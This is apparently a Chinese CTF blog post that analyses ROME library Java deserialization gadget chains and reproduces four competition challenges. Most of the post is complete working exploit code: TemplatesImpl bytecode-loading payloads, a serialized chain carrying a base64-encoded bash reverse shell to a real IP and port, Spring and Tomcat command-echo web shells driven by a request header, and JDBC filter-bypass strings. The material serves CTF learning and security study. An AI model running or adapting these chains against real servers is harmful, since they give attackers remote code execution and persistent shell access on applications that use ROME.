
ROME 是一个可以兼容多种格式的 feeds 解析器,可以从一种格式转换成另一种格式,也可返回指定格式或 Java 对象,Rome是为RSS聚合而开发的开源包,它可以支持0.91、0.92、0.93、0.94、1.0、2.0,可以说rss的版本基本上都支持
下载地址:https://rometools.github.io/rome/ROMEReleases/ROME1.0Release.html
前置知识
ObjectBean
com.sun.syndication.feed.impl.ObjectBean
是 Rome 提供的一个封装类型,初始化时提供了一个 Class 类型和一个 Object 对象实例进行封装

ObjectBean 也是使用委托模式设计的类,其中有三个成员变量,分别是 EqualsBean/ToStringBean/CloneableBean 类,这三个类为 ObjectBean 提供了 equals、toString、clone 以及 hashCode 方法
看一下 ObjectBean 的hashCode
方法,会调用 EqualsBean 的beanHashCode
方法

会调用 EqualsBean 中保存的_obj
的toString()
方法

而这个toString()
方法也就是触发利用链的地方,继 BadAttributeValueExpException 之后的另一个使用toString()
方法触发利用的链
ToStringBean
com.sun.syndication.feed.impl.ToStringBean
类从名字可以看出,这个类给对象提供 toString 方法,类中有两个 toString 方法,第一个是无参的方法,获取调用链中上一个类或_obj
属性中保存对象的类名,并调用第二个 toString 方法

第二个 toString 方法会调用BeanIntrospector.getPropertyDescriptors()
来获取_beanClass
的全部 getter/setter 方法,然后判断参数长度为 0 的方法,获取对应的Method,如果它是无参的就使用_obj
实例进行反射调用
意思就是会调用所有 getter 方法拿到全部属性值,然后打印出来

由此可见,ToStringBean 的toString()
方法可以触发其中_obj
实例的全部 getter 方法,可以用来触发 TemplatesImpl 的利用链,调用TemplatesImpl的getOutputProperties
进行动态加载字节码来实现命令执行
EqualsBean
在EqualsBean 里,存在与ToStringBean相似的利用,beanEquals 方法

这样可以反射调用getter方法,可以发现equals 方法调用了 beanEquals方法

攻击构造
依赖版本
rome : 1.0
利用 HashMap 反序列化触发 ObjectBean 的 hashCode 方法,再触发 ObjectBean 封装的 ObjectBean 的 toString 方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.syndication.feed.impl.EqualsBean; import com.sun.syndication.feed.impl.ObjectBean; import javassist.ClassPool; import javassist.CtClass;
import javax.xml.transform.Templates; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.HashMap;
public class Rome { public static void main(String[] args) throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; ClassPool classPool=ClassPool.getDefault(); classPool.appendClassPath(AbstractTranslet); CtClass payload=classPool.makeClass("rome1"); payload.setSuperclass(classPool.get(AbstractTranslet)); payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); byte[] bytes=payload.toBytecode();
TemplatesImpl tmpl = new TemplatesImpl(); Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); bytecodes.set(tmpl, new byte[][]{bytes}); Field name = TemplatesImpl.class.getDeclaredField("_name"); name.setAccessible(true); name.set(tmpl, "name");
ObjectBean delegate = new ObjectBean(Templates.class, tmpl);
ObjectBean root = new ObjectBean(ObjectBean.class, new ObjectBean(String.class, "test"));
HashMap<Object, Object> map = new HashMap<>(); map.put(root, "test"); map.put("test", "test");
Field field = ObjectBean.class.getDeclaredField("_equalsBean"); field.setAccessible(true); field.set(root, new EqualsBean(ObjectBean.class, delegate));
try{ ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./rome")); outputStream.writeObject(map); outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./rome")); inputStream.readObject(); }catch(Exception e){ e.printStackTrace(); } }
}
|
调用链:
1 2 3 4 5 6 7 8 9 10 11 12
| * TemplatesImpl.getOutputProperties() * NativeMethodAccessorImpl.invoke0(Method, Object, Object[]) * NativeMethodAccessorImpl.invoke(Object, Object[]) * DelegatingMethodAccessorImpl.invoke(Object, Object[]) * Method.invoke(Object, Object...) * ToStringBean.toString(String) * ToStringBean.toString() * ObjectBean.toString() * EqualsBean.beanHashCode() * ObjectBean.hashCode() * HashMap<K,V>.hash(Object) * HashMap<K,V>.readObject(ObjectInputStream)
|
参考:
Java 反序列化漏洞(五) - ROME/BeanShell/C3P0/Clojure/Click/Vaadin
ROME 反序列化分析
赛题复现
[D^3CTF]shorter
最近比赛出的一道java rome链反序列化题,这里复现一下

存在baseStr.length() >= 1956
,而我们可以看一下通过ysoserial自带的链的长度

很明显长了,那么需要缩短链长度,找到EqualsBean这条链,在cc7里的Hashtable#reconstitutionPut
,有使用到equals方法

在这里触发equals方法的,hash表中需要根据hash值来插入,如果要比较,需要满足两个对象的hash值相等
1 2 3 4 5 6 7 8 9 10 11 12
| public int hashCode() { int h = hash; if (h == 0 && value.length > 0) { char val[] = value;
for (int i = 0; i < value.length; i++) { h = 31 * h + val[i]; } hash = h; } return h; }
|
第⼀个元素如果比第⼆个元素小1,第⼆个元素就必须比第⼀个元素大31,保证两个值的hash相等
HashMap的equals方法当中,当对象大于1时会转而调用类java.util.AbstractMap#equals

可以很明显看到这里调用了value.equals
,这里value是遍历当前HashMap对象的值,m是比较的对象

此时不仅需要满足value
为EqualsBean
对象,还需要m.get(key)
是一个TemplateImpl 对象
把两个map的value颠倒⼀下就可以了,即:("aa"=>bean.equals("aa"=>templates))
最后的payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.syndication.feed.impl.EqualsBean; import javassist.ClassPool; import javassist.CtClass;
import javax.xml.transform.Templates; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.Base64; import java.util.HashMap; import java.util.Hashtable;
public class RomeSer2 { public static void setFieldValue(Object obj,String fieldname,Object value)throws Exception{ Field field = obj.getClass().getDeclaredField(fieldname); field.setAccessible(true); field.set(obj,value); } public static void main(String[] args) throws Exception{
String cmd = "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTAuNDIuMTM0LjE2MC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}";
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; ClassPool classPool=ClassPool.getDefault(); classPool.appendClassPath(AbstractTranslet); CtClass payload=classPool.makeClass("a"); payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("Runtime.getRuntime().exec(\""+cmd+"\");"); byte[] code=payload.toBytecode();
TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj,"_name","a"); setFieldValue(obj,"_class",null); setFieldValue(obj,"_bytecodes",new byte[][]{code});
EqualsBean bean = new EqualsBean(String.class,"a");
HashMap map1 = new HashMap(); HashMap map2 = new HashMap(); map1.put("yy",bean); map1.put("zZ",obj); map2.put("zZ",bean); map2.put("yy",obj); Hashtable table = new Hashtable(); table.put(map1,"1"); table.put(map2,"2");
setFieldValue(bean,"_beanClass",Templates.class); setFieldValue(bean,"_obj",obj);
ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(table); oos.close(); System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray()))); System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())).length());
} }
|
发现长度变为1552,短了许多

并且成功执行反弹shell命令

参考:
d3ctf wp汇总
[陇原战”疫”2021]EasyJaba
不出网
首先查看代码,发现存在一个后门

传一个ctf,进行base64解密,然后使用黑名单过滤掉了HashMap
和BadAttributeValueExpException
,最后readObject()
触发反序列化
发现存在Rome1.0,并且后面直接调用了toString方法,我们直接使用前面的链子就行了
ezjaba.java:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.syndication.feed.impl.ObjectBean; import javassist.ClassPool;
import javax.xml.transform.Templates; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.Base64;
public class ezjaba { public static void main(String[] args) throws Exception{ byte[][] evilCode=new byte[][]{ClassPool.getDefault().get(EvilTemplate.class.getName()).toBytecode()};
TemplatesImpl tmpl = new TemplatesImpl(); Field fieldByteCodes = tmpl.getClass().getDeclaredField("_bytecodes"); fieldByteCodes.setAccessible(true); fieldByteCodes.set(tmpl, evilCode);
Field fieldName = tmpl.getClass().getDeclaredField("_name"); fieldName.setAccessible(true); fieldName.set(tmpl, "a");
ObjectBean objectBean1 = new ObjectBean(Templates.class, tmpl); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream out = new ObjectOutputStream(byteArrayOutputStream); out.writeObject(objectBean1); byte[] s = byteArrayOutputStream.toByteArray(); out.close(); String exp = Base64.getEncoder().encodeToString(s); System.out.println(exp);
} }
|
回显马参考:https://github.com/SummerSec/JavaLearnVulnerability/blob/master/Rce_Echo/TomcatEcho/src/main/java/summersec/echo/Controller/SpringEcho.java
EvilTemplate.java:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| package rome;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import java.io.*; import java.lang.reflect.Method; import java.util.Scanner;
public class EvilTemplate extends AbstractTranslet implements Serializable { public EvilTemplate() throws Exception{ Class c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder"); Method m = c.getMethod("getRequestAttributes"); Object o = m.invoke(null); c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes"); m = c.getMethod("getResponse"); Method m1 = c.getMethod("getRequest"); Object resp = m.invoke(o); Object req = m1.invoke(o); Method getWriter = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter"); Method getHeader = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader",String.class); getHeader.setAccessible(true); getWriter.setAccessible(true); Object writer = getWriter.invoke(resp); String cmd = (String)getHeader.invoke(req, "cmd"); String[] commands = new String[3]; String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK":"UTF-8"; if (System.getProperty("os.name").toUpperCase().contains("WIN")) { commands[0] = "cmd"; commands[1] = "/c"; } else { commands[0] = "/bin/sh"; commands[1] = "-c"; } commands[2] = cmd; writer.getClass().getDeclaredMethod("println", String.class).invoke(writer, new Scanner(Runtime.getRuntime().exec(commands).getInputStream(),charsetName).useDelimiter("\\A").next()); writer.getClass().getDeclaredMethod("flush").invoke(writer); writer.getClass().getDeclaredMethod("close").invoke(writer); }
@Override public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws com.sun.org.apache.xalan.internal.xsltc.TransletException { } @Override public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) throws com.sun.org.apache.xalan.internal.xsltc.TransletException {
} }
|
还可以使用Tomcat回显,回显代码参考:https://github.com/feihong-cs/Java-Rce-Echo
Evil.java:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87
| package rome;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
public class Evil extends AbstractTranslet{ public Evil() throws Exception { boolean flag = false; ThreadGroup group = Thread.currentThread().getThreadGroup(); java.lang.reflect.Field f = group.getClass().getDeclaredField("threads"); f.setAccessible(true); Thread[] threads = (Thread[]) f.get(group);
for(int i = 0; i < threads.length; i++) { try{ Thread t = threads[i]; if (t == null) continue; String str = t.getName(); if (str.contains("exec") || !str.contains("http")) continue; f = t.getClass().getDeclaredField("target"); f.setAccessible(true); Object obj = f.get(t); if (!(obj instanceof Runnable)) continue; f = obj.getClass().getDeclaredField("this$0"); f.setAccessible(true); obj = f.get(obj); try{ f = obj.getClass().getDeclaredField("handler"); }catch (NoSuchFieldException e){ f = obj.getClass().getSuperclass().getSuperclass().getDeclaredField("handler"); } f.setAccessible(true); obj = f.get(obj); try{ f = obj.getClass().getSuperclass().getDeclaredField("global"); }catch(NoSuchFieldException e){ f = obj.getClass().getDeclaredField("global"); } f.setAccessible(true); obj = f.get(obj);
f = obj.getClass().getDeclaredField("processors"); f.setAccessible(true); java.util.List processors = (java.util.List)(f.get(obj));
for(int j = 0; j < processors.size(); ++j) { Object processor = processors.get(j); f = processor.getClass().getDeclaredField("req"); f.setAccessible(true); Object req = f.get(processor); Object resp = req.getClass().getMethod("getResponse", new Class[0]).invoke(req, new Object[0]);
str = (String)req.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(req, new Object[]{"cmd"});
if (str != null && !str.isEmpty()) { resp.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(resp, new Object[]{new Integer(200)}); String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", str} : new String[]{"/bin/sh", "-c", str}; byte[] result = (new java.util.Scanner((new ProcessBuilder(cmds)).start().getInputStream())).useDelimiter("\\A").next().getBytes(); try { Class cls = Class.forName("org.apache.tomcat.util.buf.ByteChunk"); obj = cls.newInstance(); cls.getDeclaredMethod("setBytes", new Class[]{byte[].class, int.class, int.class}).invoke(obj, new Object[]{result, new Integer(0), new Integer(result.length)}); resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, new Object[]{obj}); } catch (NoSuchMethodException var5) { Class cls = Class.forName("java.nio.ByteBuffer"); obj = cls.getDeclaredMethod("wrap", new Class[]{byte[].class}).invoke(cls, new Object[]{result}); resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, new Object[]{obj}); } flag = true; } if (flag) break; } if (flag) break; }catch(Exception e){ continue; } } } @Override public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws com.sun.org.apache.xalan.internal.xsltc.TransletException {
}
@Override public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) throws com.sun.org.apache.xalan.internal.xsltc.TransletException {
} }
|
将得到的exp进行urlencode,然后传入得到flag

参考:
ctf中的java题目学习2
陇原战疫2021网络安全大赛 Web
[长城杯2022]b4bycoffee
发现反序列化,并且存在rome1.7.0

但这个反序列化ban掉了rome链最常用的ToStringBean、ObjectBean、BadAttributeValueExpException,那怎么调用到tostring()呢?

rome链不是还存在一个EqualsBean吗,那么思路就很清晰了,但又过滤了TemplatesImpl,不能直接加载恶意类了
继续跟进发现存在CoffeeBean类,该类继承了ClassLoader,所以可以直接动态加载字节码,并且在toString()
方法中,看到了defineClass()
,之后try中又有个newInstance(),所以只要控制ClassByte的值,就可以任意代码执行

exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| import com.example.b4bycoffee.model.CoffeeBean; import com.example.b4bycoffee.tools.AntObjectInputStream; import com.rometools.rome.feed.impl.EqualsBean;
import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.InputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; import java.util.HashMap; import java.util.Hashtable;
public class exploit { public static void setFieldValue(Object obj,String fieldname,Object value)throws Exception{ Field field = obj.getClass().getDeclaredField(fieldname); field.setAccessible(true); field.set(obj,value); } public static void main(String[] args) throws Exception{ CoffeeBean toStringBean = new CoffeeBean(); Class c = toStringBean.getClass(); Field classByteField = c.getDeclaredField("ClassByte"); classByteField.setAccessible(true); byte[] bytes = Files.readAllBytes(Paths.get("C:\\Users\\bmth\\Desktop\\作业\\CTF学习\\java学习\\反序列化\\out\\production\\反序列化\\SpringEcho.class")); classByteField.set(toStringBean,bytes);
EqualsBean bean = new EqualsBean(String.class,"a");
HashMap map1 = new HashMap(); HashMap map2 = new HashMap(); map1.put("yy",bean); map1.put("zZ",toStringBean); map2.put("zZ",bean); map2.put("yy",toStringBean); Hashtable table = new Hashtable(); table.put(map1,"1"); table.put(map2,"2");
setFieldValue(bean,"beanClass",CoffeeBean.class); setFieldValue(bean,"obj",toStringBean);
ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(table); oos.close(); System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));
} }
|
加载Spring回显类即可,注意这里传参方式是@RequestBody CoffeeRequest coffee
,需要使用json传

[2022安洵杯]ezjaba
拿到源码可以发现存在rome-1.7.0,postgresql-42.3.1,mysql-connector-java-8.0.12 那么很明显就是打rome链了

继续跟进可以发现重写了resolveClass

可以发现没有ban掉ToStringBean
,而ToStringBean
可以调用getter方法,说明我们需要找一个方法来调用到toString方法
具体可参考:Java代码分析工具Tabby在CTF中的运用
可以看到给出了一条链
1 2 3 4
| java.util.HashMap#readObject java.util.HashMap#putVal java.lang.Object#equals com.sun.org.apache.xpath.internal.objects.XString#equals
|
可以看到HashMap的putVal方法调用了key.equals(k)

使用的是XString的equals方法

但是前提是需要HashMap中key值的hashcode相同,找到org.springframework.aop.target.HotSwappableTargetSource
类

使用HotSwappableTargetSource的hashcode方法时,返回的是相同的hashcode
最后的payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84
| import com.rometools.rome.feed.impl.ToStringBean; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xpath.internal.objects.XString; import javassist.ClassPool; import org.springframework.aop.target.HotSwappableTargetSource; import tools.Evil;
import javax.xml.transform.Templates; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Array; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.Base64; import java.util.HashMap;
public class Rome_XString { public static void setFieldValue(Object obj,String fieldname,Object value)throws Exception{ Field field = obj.getClass().getDeclaredField(fieldname); field.setAccessible(true); field.set(obj,value); } public static HashMap makeXStringToStringTrigger(Object o) throws Exception { XString x = new XString("HEYO"); return makeMap(new HotSwappableTargetSource(o), new HotSwappableTargetSource(x)); } public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception { HashMap<Object, Object> s = new HashMap<>(); setFieldValue(s, "size", 2); Class<?> nodeC; try { nodeC = Class.forName("java.util.HashMap$Node"); } catch ( ClassNotFoundException e ) { nodeC = Class.forName("java.util.HashMap$Entry"); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2); Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null)); setFieldValue(s, "table", tbl); return s; } public static void main(String[] args) throws Exception{
byte[] bytes = ClassPool.getDefault().get(Evil.class.getName()).toBytecode();
TemplatesImpl templatesImpl = new TemplatesImpl(); setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes}); setFieldValue(templatesImpl, "_name", "a"); setFieldValue(templatesImpl, "_tfactory", null);
ToStringBean bean = new ToStringBean(Templates.class,templatesImpl); HashMap gadgetChain = makeXStringToStringTrigger(bean);
ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(gadgetChain); oos.close(); System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close(); } }
|
最后就是PostgresQL的一个cve了:PostgresQL JDBC Drive 任意代码执行漏洞(CVE-2022-21724)
也可以绕过过滤

使用url编码绕过jdbc:mysql
,大写绕过autoDeserialize=true
和allowLoadLocalInfile=true
1 2
| jdbc:%6d%79%73%71%6c ALLOWLOADLOCALINFILE=true
|
参考:
[分享]2022第五届“安洵杯”网络安全挑战赛官方WP